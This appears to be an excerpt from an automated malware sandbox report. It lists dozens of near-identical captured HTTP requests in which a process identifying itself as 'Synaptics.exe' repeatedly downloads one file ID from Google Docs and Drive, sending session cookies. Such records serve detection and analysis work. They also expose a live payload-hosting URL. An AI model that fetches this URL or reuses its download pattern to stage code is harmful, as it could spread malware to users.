Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=hVlbUWvKAsXXeF2w1QNF8q5JgoN1tzf87ge04HU4z-izoj3_LDtGDRc8bxdZ01BsH-o2bzsVRFQ5r_WfhaVrhAteUAMZUwwIBUUg2Bex0dX01kJtDPaFFK0wIq1WKZ5eH2OJNc4egmV2sSWKiE-nh0MxGmLMyVzjQur-zpbgCqpOWYbRsspUiMg
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=hVlbUWvKAsXXeF2w1QNF8q5JgoN1tzf87ge04HU4z-izoj3_LDtGDRc8bxdZ01BsH-o2bzsVRFQ5r_WfhaVrhAteUAMZUwwIBUUg2Bex0dX01kJtDPaFFK0wIq1WKZ5eH2OJNc4egmV2sSWKiE-nh0MxGmLMyVzjQur-zpbgCqpOWYbRsspUiMg
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
